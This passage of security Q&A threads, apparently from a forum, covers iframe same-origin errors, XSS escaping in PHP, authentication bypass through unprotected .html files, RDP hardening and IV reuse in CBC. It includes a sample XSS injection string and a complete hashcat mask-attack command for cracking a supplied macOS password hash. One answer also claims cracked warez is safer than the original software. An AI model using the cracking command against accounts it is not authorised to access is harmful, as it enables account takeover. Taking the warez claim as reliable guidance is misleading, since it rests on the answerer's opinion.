Depending on the organisation that has provided the computer, it would probably be worth bringing it to their attention, that way they have the option to make users aware of the need to explicitly log out of sites after use, hopefully they will have some appreciation of the implications and do something to try and raise awareness (though how is dependent on the local setup).

Ultimately though it is down to the individual to be responsible for their actions, there is only so much the rest of us can do.


Tracing security policy permissions in JavaScript I'm working on a glorified click-jacker which uses CNAMES for navigation (example.bit -> example.speech.is) and I want to allow cross-domain access to the contents of an iFrame.  The child iframe has headers set to:

Access-Control-Allow-Origin: *
Content-Security-Policy: default-src 'self' 'unsafe-inline' *.speech.is http://bits.speech.is https://bits.speech.is http://speech.is

But I am still unable to access the iframe using iframe.windowContent.document (actually it's speech.windowContent.document). Firefox gives me:

Error: Permission denied to access property 'document'

While Chrome reports:

SecurityError: Blocked a frame with origin "http://bits.speech.is" from accessing a frame with origin "http://208.113.212.187". Protocols, domains, and ports must match.
code: 18
message: "Blocked a frame with origin "http://bits.speech.is" from accessing a frame with origin "http://208.113.212.187". Protocols, domains, and ports must match."
name: "SecurityError"
stack: "Error: Blocked a frame with origin "http://bits.speech.is" from accessing a frame with origin "http://208.113.212.187". Protocols, domains, and ports must match.↵    at <anonymous>:2:21↵    at Object.InjectedScript._evaluateOn (<anonymous>:580:39)↵    at Object.InjectedScript._evaluateAndWrap (<anonymous>:539:52)↵    at Object.InjectedScript.evaluate (<anonymous>:458:21)"

Is there anyway to trace where this security policy is getting set?

Access-Control-Allow-Origin:* allows certain CORS requests from XHR, but does not allow direct JS acces through the iframe.
If you want to use communicate with the iframe you could use postMessage instead, and implement listeners in both the iframe and the parent. Of course you then need to control the page shown in the iframe.


Is it possible to lock down the http / https proxy settings on a Windows Phone? Is there any way to lock down the proxy settings on a Windows Phone so that they can't be changed by anyone but the person with the password?

To achieve that, you need to choose/use a Mobile Device Management (MDM) solution.

There are some solutions about MDM for Windows Phone / Windows 10 Mobile. Look:

From Microsoft:
https://technet.microsoft.com/en-us/windows/dn771709.aspx
https://technet.microsoft.com/itpro/windows/whats-new/device-management
Solutions from other companies: just do a web search for:
mdm "windows phone"


Recovering NTFS encrypted files from a USB drive on a different machine I have some files on an NTFS USB drive.
The files were encrypted on a Windows 10 pc and copied to the USB.
I had to completely reinstall Windows on the PC. I do not have a backup of the USB files
I know the name of the PC, and the username and password.
Is it possible to regain access to the files on the USB?
I can take ownership and list the contents of the drive and folders but i can't open the files.

Provided you are using the native in-line encryption provided by Windows, the only way to recover them is to obtain a copy of the original encryption keys. These are notably not based on your password/PIN (though they are encrypted by a master password secured by your login credentials). Windows provides an option to export these security keys in PKCS#12 format for backup purposes (and will usually nag you about backing them up until you either do so or explicitly turn off the nag notifications).
Without these encryption keys, there is no realistic way you can recover the file contents, as the encryption methods used are sufficiently secure to protect against most attacks.
Unfortunately, as you reinstalled Windows 10, you no longer have access to these keys unless you had previously backed them up somewhere else.


Is sshpass utility insecure than manual ssh password authentication? I'm planning to automate copying a large file to a remote server over ssh using rsync, using following command :

sshpass -p '<PASS>' rsync --partial -av --progress --inplace --rsh='ssh -p 22' ${TAR_PATH} <SERVER_IP>:

This command will be run through Jenkins. The operator will enter the password in Jenkins.

I'm using sshpass here to automatically provide password to ssh. Is it insecure compared to manual ssh operation ? If I run the rsync manually without sshpass will it be more secure in any way?

It's less secure than doing it manually, but if you're using Jenkins, you're clearly trying to automate.  That being said, pay attention to the sshpass home page when it says:

Most users should use SSH's more secure public key authentication instead.

Use of sshpass will probably leave the plaintext password in logs files and/or command history logs, which is highly undesirable.  A passwordless key would be more secure than that.


How to secure upload from desktop client to web application? Let's say we have a desktop application and a web application. The desktop application uploads files to the server using POST requests to the web application.

What are the possibilities (except using certificates and username/password) to find out that the POST request came from our desktop application and not from an attacker? In other words - how to make sure no one is using the upload script to flood the server with malicious files?

HTTPS should be the default for everything.   You can use a self-signed certificate for FREE,  and hard-code the certificate with your desktop client.   Anything else would be a serious mistake.

But let me be clear,  this doesn't prevent a hacker from gaining access to this interface.  Nothing will ever be able do this because the attacker is running your client on his machine and there for has complete control.   SSL only protects the data in transit,  and makes sure your delivering it to the right person.


Firefox lists '(unknown)' as the owner of google.com. Is my connection insecure? I just went to accounts.google.com and I noticed that Firefox reports (unknown) as the owner of google.com. Should I be worried about this?

Here's a Dutch screenshot of the certificate:

Nothing to be worried about. All this means is that Google doesn't use an extended validity certificate. It's well known that the Google.com site belongs to Google, so there's really no need for that information to appear in Google's certificate.

For a more detailed explanation of extended validity certificates and why Google doesn't need one, see this answer.


Mac cloning ineffective My network card broke and I got a new one. Instead of registering it with the IT guys upstairs, I cloned the MAC of one of our unused machines.

I'm not being given an address at all, despite the unused machine still working on the network when being replugged in.

The problem I realise is not the MAC, but how else does the network know to reject my machine?

My old network card worked fine on my linux box within their windows network. Not once did I have to install a certificate.

What is going on?

You should go talk to your IT guys. It will probably be annoying and painful, but the alternative is likely worse (maybe not immediately, but eventually). From the sounds of it, the network probably has some form of MAC/port filtering, and the MAC address you're using is only able to receive an address at the specific physical port.

As someone who once was one of "the IT guys upstairs," if you did this on my network and I had to find out about it the hard way, I would have made an example of you. NIC cards are not expensive, and break all the time. If you just go and admit that you broke yours, they may give you a hard time, but that would probably be the end of it.


Is javascript HtmlEncode at output considered dangerous? I've read some time ago that htmlEncoding in javascript is a no-go. But that is the case when you first encode the data and then save it in db (for example). In this case, you only rely on javascript to do the encoding and i see why this is dangerous.

But when saving user inputs in database as is and doing htmlEncode at output, does it make sense to only htmlEncode on the server and consider javascript htmlEncoding dangerous?

It sometimes makes sense to encode HTML in Javascript, and it is not necessarily dangerous.

For example, if you have an API that returns JSON, it is fine if the that API returns raw strings. Only when you put these strings on the page with Javascript, you have to HTML encode them.

Since this is client-side behavior an attacker can bypass this and remove the encoding. However, this only allows him to attack his own browser. XSS is typically dangerous if a script can be run in someone else's browser.


how to bypass "header" in php While reading an article I encounter an interesting thing I did not know about:

if(!isset($_SESSION['usr_id']) || !isset($_SESSION['usr_name']))
{
    header('Location: index.php');
}

  ...Which is all well and good if the client respects the Location
  header. The crawler apparently doesn't, because it doesn't really have
  to. The bad thing is that any crawler, bot, or browser that can ignore
  headers could bypass all security on their site.

I do believe that it is true, but I was wondering how I can replicate the results. Basically how can I test that the browser, crawler or something else is ignoring header?

I am not sure whether this question belongs here or to stackoverflow, but I think that due to the nature of this site, there is higher probability that people know how to bypass this.

First to clarify, the proper description is that the header was "ignored" not "bypassed".   A header is a piece of data that is transmitted as a part of an HTTP response, it is not in and of itself a gateway that controls access.

At least one of the comments on the article notes that the the actual issue here is not that that the header was ignored, per se, but that the application failed to exit at the point authentication was denied and send only the header.   They continued to build and send the entire response as if the user was properly authenticated, and trust that the client would redirect based on the header without reading the contents of the body.   This Is Bad.

The correct behaviour would have been to send only the header (and the corresponding HTTP response code) so that even if a client did chose to ignore it, they would receive no privileged content with the response.

Once the data goes outside of your firewall, it's no longer yours, so you don't send data you wouldn't want someone to have until you've verified who they are.


Proper way to protect against XSS, when output is directly into JS not HTML? I'm seeing plenty of examples when the output is going into HTML directly, but I'm seeing more conflicting information when the output is going straight into JS.

For example if the code was:

var thisIsATest = '<?php echo $_GET['a']; ?>';

And the URL attack vector was:

?a=';alert(1);'

The output renders as:

var thisIsATest = '';alert(1);'';

I've seen plenty of docs recommending what to avoid (such as addslashes), and references to htmlspecialchars() (but not by itself)...

What is the most correct approach?

The correct way is to use the tools of your framework (and its template engine, if available). If you're fiddling with PHP in JS strings, you probably make life harder and more dangerous than necessary.

With plain PHP a common and safe approach is to use json_encode() as explained here. E.g.:

var foo = <?php echo json_encode($foo, JSON_HEX_QUOT|JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS); ?>

json_encode() returns the JSON representation of a value, hence it's guaranteed to evaulate to a valid object in your JS code and you can just assign it to a variable as shown. But don't omit the additional flags. Depending on the context, an attacker could otherwise use payloads like </script> to break out of the entire script tag.

The functions htmlentities() and htmlspecialchars() you referred to are used for direct HTML output and should not be employed on JS. They would also allow your string to contain line breaks, resulting in a syntax error that might have security consequences.

Talking about frameworks, Wordpress  gives you the wrapper wp_json_encode(), as recommended in this guideline. There might be equivalent functions for your own framework.

Also be aware that with json_encode() the object is safely prepared for a JS context, but any string you pass can still contain HTML tags that would be unsafe to insert via, say, document.write() or innerHTML. (Avoid these two altogether.)

This is silly, but XSS-safe:

Hello, !
<?php $name = $_GET['name']; ?>


Are most warez malicious? There are many big torrent uploaders, some marked as 'VIP' or 'Trusted' and whatnot with many seeders and good reviews. How likely is it that their software is malicious with some kind of evasive rootkit? They are reverse engineers after all.

What else could these uploaders gain from cracking software and releasing it for free to thousands of users? Why bother with it at all and risk getting caught? Do they do it merely for the fame and reputation?

In most cases no.

The largest torrent communities do not allow any type malicious activities and uploaders are most of the time very trusted members of the community. Any attempts to spread anything are countered very fast.

Of course, a smaller site can have the objective to trap and infect users, but it will be fast to spot and the community will know.

As for the actual cracked software, the main groups that are now mostly veterans in the industry do not add any type of spyware in their releases. The exceptions to this are so few that you can count them by fingers compared to the thousands of releases done by each group.

Note that anti-viruses can detect a group release as dangerous, but that is normal behavior.

Why do the groups do it ? Well, because they can and because it teaches a lesson to the developers. Developers since many years ago focus on anti-piracy instead of the quality of the product. They end up making DRMs so bad that not even legit buyers can properly use the product (see examples like securom). Contrary to that, the ones that invested in product quality instead of copy protection and did not even use a copy protection had larger sales than the over-protected ones. So the DRM-supporting developers defeated themselves because they had no desire to make a good product and they wanted only massive sales instead. The situation is becoming even worse today with the all games going MMO and software going sub-based system. Developers scam the clients out of their money with pre-release packs and then the client ends up with a disaster of a product (see the recent example - Fallout 76 aka Failout 76).

Yes, there is a reputation system between the big groups and practically who releases something first has the biggest rep, but sometimes they can hurry to much and have a bugged result, in which case another group makes a 'proper' release and bashes a little the initial group. Such cases are relatively rare though.

As for the clients, in many cases (and since many years back) it is more convenient to use such a software because it's actually cleaner than the original. All the crapware that could interfere with the functionality of other things is removed and you get what you would actually want: a working game or program that does not break anything else in order to work. Many preferred years back to actually get (buy) the original games but use a cracked version because it actually worked better and did not break anything in the system.

Note GOG (Good Old Games) managed to make deals with the big companies and what they actually sell is copy-protection free. This is a big thing, very helpful for users overall.

So form a security perspective, as example, I can hands down say that a release from a group (or an official GOG one) is safer to use than the original, even today. Today copy protections are less system-damaging overall, but you still usually have to install various game clients or other programs just to make your original games work and in many cases you need constant internet connection which is another inconvenient. Each big company has its game client so you'll end up pretty much with about 10 useless things running in background only for your favorite games to work.


Why am I able to bypass a website's authentication? I am blackbox testing a vulnerable website. The website in question is accessed using HTTP and to reach its content one is prompted with a field to enter the password (presumably set by the admin) at the homepage. If I enter a wrong password, I get the "incorrect password" notification.

However, after entering the URI path /index.html, the content is seen, without entering any password. If I click any link there and get referred to a http://website.com/page.php, I get prompted with the authentication field again but if I replace .php with .html, I see the content that is supposed to be password protected. I am also allowed to access the images directory.

From development point of view, what is done wrong here that allows to bypass the authentication and how should it be fixed?

From development point of view, what is done wrong here that allows to bypass the authentication

Putting private content in a place where it can be accessed with no controls.

It seems that the website designer has written some php scripts that check the authentication details and serve up the content if it passes but has forgotten that he has put the actual content files in a place where the web server will just serve them up.

  and how should it be fixed?

The quickest fix would be to reconfigure the web server not to serve .html files from that directory but that seems like a band aid. Directories where secret stuff is stored should be kept seperate from directories to be served up directly by the webserver and ideally should be completely outside the "web root".


Sonar power saving. Attacks and how to mitigate I recently came upon a program called Sonar power saving that uses speakers and microphone to put the computer in power saving mode as long as you move away from the screen.
http://stevetarzia.com/sonar/
This provides some sort of security level for the casual colleague who wants to get a look in your computer when you go away and you forget to lock out etc. But from another point of view , it is mind blowing the number of attacks you can issue using similar techniques. As far as i know there are no security measures to employ easily.(except remove your build in mic and speakers and use external ones :D). While using 'Sonar power saving' even 'simple' Dos attack from someone around transmitting same high frequency sounds to freak me out seems possible:)

Also

I read an article about transmitting malware using speakers and microphone and i am looking for some technical background how is that possible . If anybody has some more resources on this issue .
 Transmitting malicious code over audio speakers

How to protect against this kind of attacks.

First, understand that the microphone can't be used as a malware vector without a program actively interpreting the data being received by it.  You can bleep all you want, but unless some kind of program is listening, reading, and processing the digitized input from the mic, there's nothing entering your computer to perform an exploit.

If you have malware audio somehow floating around in the air near your microphone, you've got an attacker that's very nearby.  The wolf has already entered the barn, and is eyeing the sheep.  But let's move on to the next part and assume that you have untrustworthy people near your microphone, perhaps sitting next to you in a coffee shop.  Now what?

Low level OS or Analog Audio App

If you have some low level hardware or OS program reading the information from the audio digitizer, you have the potential for malware as you would from any unchecked input source.  For example, perhaps you have a microphone level utility.  It's possible that certain kinds of input could cause a buffer overflow.  The problem with using this directly as a vector is that an audio signal is highly variable.  Malware needs to send machine instructions, not words and phrases or tones.  If you want the victim to receive exactly the bytes of 58 35 4f 21 50 25 40 41 50 (an example from the EICAR pattern) then you have to make a very precise sequence of sounds to make the microphone vibrate in that pattern.  But such a sound would be affected by the distance from the speaker to the mic, dampened by a piece of paper, echoed from a tabletop, masked by a vent, or echoes suppressed by a nearby person's body.  Plus, there's no feedback to the malware to tell it if it's close or far.  The normal background sounds of a coffee shop would suppress any such attack.

This also requires a very badly coded app, one that doesn't actually work.  All such simple programs of the type that paint a continuous line level on the screen would fail quickly if they actually had a buffer overflow problem.

So for a low level attack, you're still very safe.  It is highly unlikely that malware could successfully be injected under ideal conditions, let alone the real world.

Interpreting audio app

Let's say you have an analog listening program that is actively parsing data and attempting to use it.  The sonar program you mentioned would be an example, but perhaps you have a touch-tone listening app - (something like Skype, perhaps?)  Certainly, DTMF tones could be interpreted by the victim's computer.  They'd also be audible to the user.  I suppose it's conceivable that an attacker could get your Skype to call a +1-900-SPEND-MONEY number after you dial a credit card service.  But could he realistically touch-tone in a full buffer overflow attack?

A related attack might come from exploiting Shazam.  An evildoer could register a malware link with Shazam for a certain piece of audio, and when the interested Shazam user taps the button to "learn more", his browser travels to the infected site.

Another possibility could come from Siri.  Perhaps your attacker can convince Siri to open some kind of malware link to infect your phone.  Again, not particularly realistic, but it's a potential vector.

Digital audio app

So let's move to the case where you have software that is actually listening for digital audio communications.  Shopkick comes to mind, as many people have it installed on their iPhones.  Yes, it's technically possible that such an application is badly coded and could permit an attack through the mic. But it's somewhat more likely that a digital attacker would be more successful at masking or confusing the audio than actually finding a bug to exploit.

Digital audio malware app

If the story was true, the BadBIOS attack is malware that is actively using ultrasonic sounds to communicate between machines.  Of course, if you already have malware on your system, you already have malware on your system!  The wolf not only entered your barn, but he ate your sheep.  There's little point in worrying about the communication vector of the malware, because your system is already owned by someone else.

Ultimately, I don't think there are a lot of risks you're taking by using audio applications.  The highest risk of any of these activities is likely downloading sonar from a random source on the web.

Bottom line - what is the highest risk?

The highest risk of all is that you could live in irrational fear of random ultrasonic beeps, and so miss out on the advantages you might gain from using digital audio applications.


Difference between S-HTTP and HTTPS I have been asked what is the difference between S-HTTP and HTTPS, and I am wondering if someone has an idea about.

Wikipedia says that S-HTTP encrypts only the served page data and submitted data like POST fields, leaving the initiation of the protocol unchanged. Because of this, S-HTTP could be used concurrently with HTTP (unsecured) on the same port, as the unencrypted header would determine whether the rest of the transmission is encrypted. (I did't get this point, can someone give an example)

In contrast, HTTP over TLS wraps the entire communication within Transport Layer Security (TLS; formerly SSL), so the encryption starts before any protocol data is sent.

So is HTTPS more secure than S-HTTP ?

The basic idea of S-HTTP is to do everything which is done in the binary SSL/TLS protocol within the text based HTTP protocol. This by itself does not make it less secure.

What makes it definitely less security from today's view is the choice of allowed ciphers (see section 3.2.4.7 of RFC 2660) which includes only ciphers which are considered weak today. But S-HTTP is not only an old protocol regarding ciphers. It can be expected that some of the attacks which got developed against SSL/TLS in the mean time and which got fixed in subsequent versions will also work against S-HTTP. Given the time when it was developed I expect S-HTTP to be at about the weak security level of SSL 2.0 but at most SSL 3.0.


RDP - access security I have a question about protecting myself against attacks on the RDP service.

I note that I have already done the appropriate configuration:

I am using a local user (not administrator) to connect
the administrator group is excluded from remote desktop users
the RDP service port is changed

Local Group Policy Editor - Remote Desktop Services

Security:

encryption level: high,
the appropriate RDP security layer enabled,
Network level authentication enabled

Connections:

limited number of connections: 1

I set session timeouts

As you can see, these are not standard settings. In addition, I have implemented Eset Internet Security. What worries me and I am asking you for help in better securing the RDP service.

In the event viewer (Win7Pro) I noticed a frequent error No. 56 TermDD: The server security layer detected an error in the protocol stream and disconnected the client. Client IP address: xxx.xxx.xxx.xxx

I have a lot of such errors. Someone is trying to get to the RDP service. I changed the RDP service port a while ago, but to no avail.

Additionally:
In the anti-virus firewall I have observed dozens of attempts to: " exploit the vulnerability in the temporary blacklist of addresses (Incoming Attack Generic).

How can I additionally secure the RDP service against such attacks? I have heard about the RDPGuard program - the question of whether it is effective.

I would never expose an RDP service directly (without VPN or RDP gateway) to the internet. In the past, a lot of vulnerabilities in the protocol were discovered and also abused by malicious actors. The problem is that the Remotedesktop / Terminal services require high privileges to run. If there is a serious vulnerability in the RDP server (again), neither RDP settings nor user passwords or privileges will help.


How do you erase a Blackberry without having direct access to the server? I have a Blackberry with no access to the BIS or BES server that managed it.

How does one erase and reset the device to defaults?

... just found something that works:

If you are an ordinary BIS user, perform a security wipe: Options / Security Options / General Settings / Menu / Wipe Handheld. If you are a BES admin, wipe using this procedure to remove the IT Policy: Removing an IT Policy from a BlackBerry phone.
Format or remove any Media card. Wiping the device does not delete data on the card.
Contact your carrier and release your pin.
Remove your phone number using Step 4a or 4b as appropriate.
4a. GSM users: Remove your SIM. That takes your phone number out of your device.
4b. CDMA users: Dial ##000000 and press Send. Delete the Mobile Directory Number and replace it with another 10-digit number that won't violate anyone's privacy. 2025551212 is a good choice. Then press the BB button and select Save. Allow the phone to reboot.

Alternatives that also wipe the device:

CrackUtil
JLCmder

The following URL describes how to use the RIM utility "loader" to reset to defaults

http://www.blackberry.com/btsc/search.do?cmd=displayKC&docType=kc&externalId=KB18998

Lastly, the following key combination only reboots the phone and doesn't wipe the device (which is what lead me to researching this topic):

alt  +  right shift  + del


Security implications of allowing websites to open TCP sockets I was reading a post about tcp sockets in the browser here and one of the mentioned reasons for not allowing it is that allowing websites to open TCP sockets would be a security risk but doesn't detail what this risk would be.

What kinds of security issues would be opened up by allowing websites to open TCP sockets and how are they not applicable to websockets?

Allowing arbitrary TCP sockets originating from the web browser means that an attacker can use the browser as a trampoline to connect to arbitrary services on the users local network. This can for example be local mail servers which often are setup to trust any internal system to send mail and thus can be misused to send phishing mails which look like they came from a local system or simply to send spam. But also other services could be affected.

WebSockets instead are an application layer protocol on top of TCP. They start with a HTTP based challenge-response and continue with a protocol using frames which are additionally xor'ed with some previously established random key. This is specifically done so that this protocol can not be misinterpreted by unsuspecting TCP servers.

  how are they not applicable to websockets?

While it is true that WebSockets are considered much less dangerous than plain TCP they are not innocent. If there is an internal application which can be accessed using WebSockets explicite measures must be taken at the server side to restrict access to this application. WebSockets are not covered by the same-origin policy in the browser, i.e. it is possible to cross-origin connect to a WebSocket server and any restrictions to this need to be employed at the server side. See also Cross-Site WebSocket Hijacking (CSWSH).


What is packet drop, packet loss and how Packet drop attack works? I confused with the three terms:

Packet drop.
Packet loss.
Packet drop attack.

These terms are a bit more general that that, which may be the cause of the confusion.

When Alice sends Bob a message over a packet switched network, like the Internet, then it is broken into a number of individual packets, which are sent one at a time. Each packet travels from router to router, eventually ending up at Bob's computer, where the message is reassembled.

If one of the packets fails to get from Alice to Bob for some reason, we say it is lost. (One of the reasons why you use packet switching is that if you lose a packet, you can just ask for it again, rather than needing the whole message to be retransmitted.)

It might get lost by accident, but packets can also be lost because a router receives it and specifically decides not to pass it on to the next hop. This deliberate loss of a packet is called dropping. (There are legitimate reasons for dropping a packet: for example if the router is overloaded, or if the router believes the packet is part of a DOS attack.)

A packet-drop-attack, then, is a denial of service attack where the attacker takes control of one of the routers between Alice and Bob and tells it to deliberately drop some or all of the packets in the message.


Does CVE-2014-0195 affect HTTPS? Does CVE-2014-0195 (openSSL) affect HTTPS or only VPN tunnels?

Reference: https://security-tracker.debian.org/tracker/DSA-2950-1, https://isc.sans.edu/

"All versions of OpenSSL are vulnerable to CVE-2014-0195, but this vulnerability only affects DTLS clients or servers (look for SSL VPNs... not so much HTTPS)." is already right in the posting you linked to.  If it is using DTLS, then it could be impacted potentially, but HTTPS generally doesn't.


Incrementing Initialization vector by 1 Suppose that we do not generate initialization vectors randomly (using AES in CBC mode). Instead it is initially all zeroes and we increment it by 1 each time a message is encrypted. How can this cause a problem? Could explain with an example?

A block cipher like AES is deterministic: for the same key and the same input, you get the same output. Since real-life data tends to exhibit redundancy, this makes ECB, the most basic cipher mode, quite weak. CBC tries to avoid that issue by "randomizing" the input blocks, through a XOR with the previous encrypted block: the idea is that the output of a block cipher should look "random enough". The AES is still deterministic, but the randomization ensures that the risk of collision will remain very low (AES has 128-bit blocks, so the first collision should be encountered after encrypting, on average, about 264 blocks, which is 256 exabytes, aka "an awful lot of data"; this will not happen often). Since the first block has no previous block, we need an "artificial previous block" and that's the IV. Therefore, the IV should be "random looking".

A first basic observation is that a simple +1 policy on the IV may fail to be random enough. Imagine that you encrypt messages which contain some data as a list of "key = value" pairs (e.g. the standard encoding of a Java Properties object), and that all the messages begin with userPassword = thepassword (for various user passwords). With AES, and its 16-byte blocks, note that the first block ends immediately after the first letter of the password. So the successive first blocks will be almost identical, save for their last byte. Suppose that the IV and messages are:

IV                                  message
--------------------------------------------------------------------------------
5c17eacc047fd32fdecc2e0f226e4e86    userPassword = mypassword
5c17eacc047fd32fdecc2e0f226e4e87    userPassword = PaSSwo3D!
5c17eacc047fd32fdecc2e0f226e4e88    userPassword = bob
5c17eacc047fd32fdecc2e0f226e4e89    userPassword = z!Ghj0$.\+
5c17eacc047fd32fdecc2e0f226e4e8a    userPassword = anotherpassword
5c17eacc047fd32fdecc2e0f226e4e8b    userPassword = correcthorsebatterystaple

If you work out the values for the first block passed as input to the AES for each message, you will find that for the first and fifth message you end up with the same block (29648fbe541ea05ca9a35c6b02536ee7). So the first sixteen bytes of the two encrypted messages will be identical. By spotting that equality, the attacker will then deduce exactly which bits differ in the first byte of each password. By observing many successive messages, the attacker may accumulate quite a lot of such equations on the unknown data. This is exactly the kind of leakage that good encryption should avoid.

The situation is made much worse in the presence of chosen-plaintext attacks: these are attacks where the villain gets to choose part of the plaintext. In the example described above, suppose that the attacker is one of the user, and his password is in the first message. Thus, the attacker knows that his password begins with an 'm'; by observing the encryption of the successive messages, he then infers that the password in the fifth message begins with an 'a'. Moreover, the attacker may change his password and have another go, getting information on other passwords, and so on.

The recently advertised BEAST attack builds on a CPA, in a more realistic scenario involving a Web browser, an HTTPS connection, and a "secure" Paypal cookie. The cornerstone of the attack is that data in a SSL connection is broken into "records", each record being encrypted in CBC mode, and the last block of a record is used as IV for the next. The attacker then forces some data of his own into the connection, observes the first record, and computes from that the data he then adds (which will be encrypted as the second record), so that the first block of that data XORed with the IV yields a predictable value. The details are intricate, but end up with revealing the secure cookie. For the attack to work, all the attacker needs is a predictable IV, which he gets by observing records (TLS 1.1 fixes that by adding per-record random IV).

To sum up, the BEAST attack demonstrates that CBC with an IV that can be predicted by an attacker who can do chosen-plaintext attacks, is weak. A +1 policy for IV management leads to IV that can be easily predicted. Therefore...

One shall note that while CBC requires random, uniform, unpredictable IV, not all block cipher modes of operations are that picky. Many cool newer modes, especially those which combine encryption and integrity check, can live with non-repeating IV even if the IV values are totally non-random (e.g. EAX or GCM); for them, a +1 on IV is perfectly fine. In some protocols, this allows for an implicit IV (a sequence number, for successive messages sent over a wire) which may save a bit of bandwidth.


hashcat specify number of characters I am trying to figure out a macOS hash 10.8+ and I happen to know that it uses A-Z, a-z, 0-9, is 6-8 characters, and almost certainly random. Currently, it spits out an error regarding hash length being too long, and I do not have any idea how to specify custom charsets or lengths. Someone help.

Here is the hash if helpful.

$ml$34129$41de87617daa59bec6ac23618384845f6b799bff8cc2ee5197d1499482fe9bac$c8f0c4a0ab9296c352357fed33cc4a9bccf89d8a3a280f2157c18996957dc1894ec18ec61b2ac0e5ddb7977f85f1d95ce338783817b7feebb062406cd47b89500f35806c47dcbefd0b832890c833d01e9472a5a2d64b46bdae1d265968a983fce15e84d6409ae527992224594d27cd430d24dccac851be60d64c75b1353b7f3c

Let me break down, what you want and what the equivalent hashcat options are.

Hash-Type

You want to crack a OSX v10.8+ hash, which according to the hashcat example hashes page (https://hashcat.net/wiki/doku.php?id=example_hashes) is type "7100", so: -m 7100.
Specifying the correct hash type should also get rid of the "incorrect length" error.

Attack-Type

You want to do a brute force attack against the hash but not with a dictionary of common words but all possible values. That is hashcat attack mode 3 - a mask attack (https://hashcat.net/wiki/doku.php?id=mask_attack). So you need to specify -a 3.

Characters

The following built-in character sets exist:

?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?h = 0123456789abcdef
?H = 0123456789ABCDEF
?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
?a = ?l?u?d?s
?b = 0x00 - 0xff

Your password consists of uppercase letters (?u), lowercase letters (?l) and digits (?d). You can use the built-in hashcat functionality to combine them to a so called custom charset by specifying the charset 1 (-1) as -1?u?l?d. To specify a mask for passwords with up to eight characters, repeat the specifier eight times ?1?1?1?1?1?1?1?1.

Length

You say you password has between six and eight characters. You can tell hashcat to use your all possible combinations from the custom charset that you specified and increment its length up until the length of your mask by using the --increment option (https://hashcat.net/wiki/doku.php?id=mask_attack#password_length_increment). To tell hashcat to start with a mimimum length of 6, use --increment-min 6.

Full Command

That gives the following command:
hashcat -m7100 file_with_hash.txt -a3 -1?l?u?d ?1?1?1?1?1?1?1?1 --increment --increment-min 6

Trying all six-character options on two consumer-grade graphic cards, will take 56 days. All seven and eight character passwords will take significantly longer so you might want to reduce the amount of randomness.

Maybe you know, that the password starts with Mark. The mask would be Mark?1?1?1?1.

Maybe you know it start with an uppercase letter and ends with three digits: ?u?1?1?1?1?d?d?d.

Please see the hashcat wiki and other questions here for more options.


Restricting cipher suite on MSIE I'm investigating significant performance problems with MSIE using TLS connections. I am trying to restrict the available algorithms to isolate the problem / see if there is valid workaround. To do this, I set the SSL cipher suite preference in the Group Policy Editor on the local machine to include only 2 AES128 based algorithms (I suspect the issue is in the asymmetric encryption, this was just to test if the method was valid). However when I apply the policy and start a new MIE instance, it still uses an AES256 suite - i.e. not on on the list I specified.

Its MSIE 11 on MS Server 2012R2.

Am I missing something?

Did you notice this little message on the microsoft article you posted??:

  It is necessary to restart the computer after modifying this setting
  for the changes to take effect.

You also didn't mention it but have you checked to ensure the setting is actually applying?

gpresult /h policy.html


File system encryption with plausible deniability When we use file system encryption, even though attackers won't be able to access the information we've stored, they would be able to find out the fact that we have encrypted data on our drive. So the question is, are there ways to hide even the existence of encryption to an attacker with full access to the storage device and reasonable resources, so that to their eyes, the encrypted data are just unused space.

It would be best if the following can be answered:

Are there research on this subject? What's the scholarly term?
Are there theoretical limitations on this? Is such encryption possible?
Are there any known implementations?

PS: What I'm asking is stronger than deniable filesystems: the existence of encryption of any sort must be plausibly hidden, so that reasonable attackers won't even attempt decryption, not just the existence of specific content.

With VeraCrypt's Hidden Volumes there is plausible deniability of your actually protected data. But you can apparently only have a hidden volume within another veracrypt volume. So the attacker will know that you are using encryption, but he will not know if you have a hidden volume. You could maybe even maintain several hidden volumes, so you could pretent to given them the password to your hidden volume but it will not be the correct one.

Otherwise, you could have one unencrypted partition on your hard drive which you boot from normally. And then have some other seemingly unused partitions which are in fact encrypted VeraCrypt volumes. But I guess such unused partitions may already be suspicious to the attacker.

Or have your encrypted volume on an external drive which you pretend to have been recently erased. I am not sure, though, if the header data of encrypted drives will give aways something about the fact that they are encrypted.

UPDATE: If you are looking for methods to hide information (encrypted or not) within non-encrypted data, maybe digital watermarking has some interesting approaches.


Network diagram based on Cisco ACL and other firewall rules Are there any tools for automated building network diagram from ACL rules or any other firewall rules?

If you use Cisco it might be easier to build a network topology diagram using Cisco Discovery Protocol than firewall rules or ACLs even if manually done.


Netgear WNDR4300 crashes when port scanned I have no idea what is going on here, I'm leaning towards an error in the firmware or some kind of protection they wont let you turn off.

My router has 2 networks: a 2.4ghz and a 5ghz network.

I see this in the logs: [DoS Attack: ACK Scan] from source: 143.127.93.123, port 80, Tuesday, October 27, 2015 18:11:07

That IP address belong to Symantec. I can only assume this is a probe attempt to see if my router is vulnerable to some kind of remote admin talk.

When this happens in my logs, my 2.4ghz network just dies silently. Router web interface says everything is fine, and the 5ghz network stays up.

Anyone have any insight into why this happens? I've gone through all the settings I can possibly tune, but nothing. This happens 1-4 times a day, and the only way to fix it is to reboot

Thanks!

I have a distinct suspicion of what the cause of your semi-crash might be. If it is so, it's kind-of bad news:

  SEC Consult Vulnerability Lab has discovered the flaw, which Ars
  Techinca refers to as “amateurish,” in a driver referred to as NetUSB.
  The driver, as its name suggests, is installed on routers to allow
  computers to access USB devices over a network.

  Sadly, the driver contains an error known as a buffer overflow, which
  can occur when a device sends its name to the router and it’s longer
  than 64 bytes. The researchers claim that the simple overflow can be
  used to crash the router, using denial of service of attacks, and even
  execute code remotely.

According to Ars Technica & the vulnerability testers who caught the bug, it's present in both WNDR v1 & WNDR v2. (The full list of routers believed to be affected is in that Gizmodo article.)

Now, to be clear this is just a suspicion; it's possible the unusual attack traffic (unusual to your router, at least) might just have coincidentally arrived about the time that your 2.4 network had its crash-like event. Without further log details of what was actually in the packets of the suspicious traffic, details that aren't going to be in a consumer-grade router's logs, it's perhaps impossible to say for sure.  If the suspicious traffic reoccurs and your router immediately suffers subsequent issues, obviously the cause could then be known with more certainty. (Or if you were to capture some of that future traffic with a packet sniffer like Wireshark.)

